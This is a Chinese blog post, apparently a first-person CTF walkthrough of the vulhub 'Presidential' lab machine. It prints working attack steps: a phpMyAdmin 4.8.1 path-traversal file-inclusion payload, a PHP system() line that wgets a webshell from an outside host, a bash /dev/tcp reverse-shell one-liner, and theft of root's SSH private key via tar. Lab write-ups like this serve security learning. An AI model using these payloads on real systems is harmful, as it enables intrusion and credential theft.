zoukankan      html  css  js  c++  java
  • vulhub-Presidential靶场解题过程

            网上这个靶场的通关教程只有一篇,被各种到处搬来搬去,而教程主要描述的是事后视角,我这种菜鸡看着迷迷糊糊的,就想着以第一视角记录下解题过程,如要参考解题过程建议把每个步骤看完再做,否则你会把我踩得坑都踩一遍。要看教程的直接点击以下链接,本篇手稿过于废话连篇。

    https://www.cnblogs.com/MyGuazi/p/13495264.html

    甲.        信息搜集

    Nmap、nessus扫描。得到80端口开放后开始访问。是一个静态页面,web漏洞就不用看了,解题肯定是要扫后台的。

     

    后台扫描发现这两个文件

     

    访问后发现无内容,最后换个字典扫了半天,没啥有用的信息。这个时候回来看看这两个文件,查看代码后发现/config.php.bak里写着数据库信息。

      

    可是数据库在哪登录呢?题目这个地方就有点魔幻了,作者没有进行说明,最后发现是需要进行域名解析(改hosts文件)来访问。这里怎么说呢,作为ctf题目来说是常规操作,但作为生产环境来说的话肯定是以域名形式访问的,就不存在手动绑域名的操作。这里绑定的是votenow.local域名,信息从web页面邮箱地址后缀而来。

    我这里以生产环境的情况来说,我们拿到的是域名信息,拿到域名下一步就很明确,进行子域名爆破。这里由于是自己搭建的环境,所以就不能选用dns服务的子域名爆破工具,而是本地爆破,这里使用wfuzz工具

    wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.loca

     

    这里肯定是无法直接访问的,再次改hosts文件,绑定域名为datasafe.votenow.local

     

    乙.        漏洞利用

    使用刚刚获取的信息,登录后查看数据库信息,有个user表,打开后password是加密的。

    $2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i。从结构上看像linux的shadow文件中记录的密码格式,创建文件1.txt,内容为$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i

    Shdow文件解密一般使用john工具,这里使用自带的或者自行写入的字典来进行爆破。

     

    密码为Stella,这里确认了linux的admin账户的密码为Stella。

     

    接着看,然后发现phpmyadmin版本为4.8.1。度娘看看有没有漏洞,有个文件包含。

       

    由于对该漏洞没有研究,就直接搬过来用了。

    这个漏洞可通过目录穿越包含任意文件
    ?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini

    看到这个我就想直接读密码了,当然,没这么简单。权限不够,看来后面就算拿到shell还得提权。

     

    查询sql目录位置。show global variables like "%datadir%";

     

    新建表test,表信息改成phpinfo()语句。这时该语句位置在/var/lib/mysql/votebox/test.MYD

     

    尝试读取该文件

    http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/mysql/votebox/test.MYD

    看来我还是天真了,读不了。

     

    这个时候就可以参考下网上的资料,一般会让你执行查询语句,这个时候执行select '<?php phpinfo();exit;?>'会直接在页面输出该语句。

     

     

    随后我们直接利用文件包含漏洞包含SESSION文件就可以执行该php语句。

    这样对应的SESSION文件为/var/lib/php/session/sess_你的SESSION ID。

    这个地方要注意,我测试的时候新输入的sql语句并不会覆盖上次执行的语句,来与session绑定。也就是说,每次测试都要重新登录来获取新的session。

    http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_74o888g3uiq1ht5mk67gqtmbfejd3lk1

     

    丙.        Getshell

    看到这,我脑子一抽,不信邪的写个小马,果然还是不行。

     

     

     

    尝试使用php中system()来测试能否执行命令。访问后nc接收到了请求,证明是可以进行命令执行的。

      

    上面测试过,数据库权限受限,只能读取特定的文件。本地写入文件受限,最后发现有写入权限,只是使用system()函数写文件时sql会报错。

     

    所以尝试下载文件或反弹shell。我这里演示下载webshell文件,菜刀连接。

    上传wen.php到本地webFTP中(hfs工具),然后sql执行select '<?php system("wget http://192.168.30.1/wen.php");exit;?>'

     

    文件包含执行

     

    ls查询下

     

    菜刀连接。

     

    发现webshell中虚拟终端无法切换账户,反弹shell。~^~

    直接执行bash -i >& /dev/tcp/192.168.30.129/1212 0>&1

    或者写个反弹脚本,执行。

     

    (这里测试,直接在虚拟终端中输入反弹命令。在win中使用nc时会提示bash无法连接shell,在kali中则可以得到shell。)

     

    丁.        提权

    准备使用john爆破出来的账号密码进行登录。但突然意识到,通过bash反弹过来的是一个亚shell,无法使用su命令。试了下果然不行,输入后就没回显了。

     

     

    下一步开始获取一个半交互式shell,满足可以su的需求。(可参考:https://blog.csdn.net/qq_38410352/article/details/105119611?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param

    这里可以使用python或socat工具,如果目标机没有就需要下载来执行。

    看了下,刚好有python2.3的环境,直接用python弹shell。

    python -c 'import pty; pty.spawn("/bin/bash")'

     

     

     

    仍旧不是最高权限,还得提权。

    跑信息丢到极光里分析,结果找不到漏洞。极光老是抽风,我这次使用可能运气不太好,自己的win也跑不出来。

     

    再试试linux-exploit-suggester.pl,结果不要能运行pl文件。

    提权这方面我是真的菜啊,去看看文件,有什么提示。

    Admin的home目录下有两个文件,一个记录着md5,一个提示用新的命令来备份和压缩文件。MD5解不出来,提示也看的人一头雾水。

     

     

    试了好久,只能用教程上写的方法了。这里就不写了,等我啥时候自己掌握提权再补上吧。有兴趣自己看教程,这里就是把rootssh的密钥打包出来,解压到其他文件夹,再通过密钥的方式ssh连接本地。

    tarS -cvf key.tar /root/.ssh/id_rsa    

    tar -xvf key.tar

    cd root/.ssh

    ssh -i id_rsa root@localhost -p 2082

     

    最后说一句,我TM真的好菜啊。~,~

  • 相关阅读:
    一些你可能用到的代码
    iOS 键盘下去的方法
    iOS设计模式汇总
    随笔
    Spring cloud config 分布式配置中心 (三) 总结
    Spring cloud config 分布式配置中心(二) 客户端
    Spring cloud config 分布式配置中心(一) 服务端
    jdbcUrl is required with driverClassName spring boot 2.0版本
    JpaRepository接口找不到 spring boot 项目
    解决IntelliJ “Initialization failed for 'https://start.spring.io'
  • 原文地址:https://www.cnblogs.com/pykiller/p/13821261.html
Copyright © 2011-2022 走看看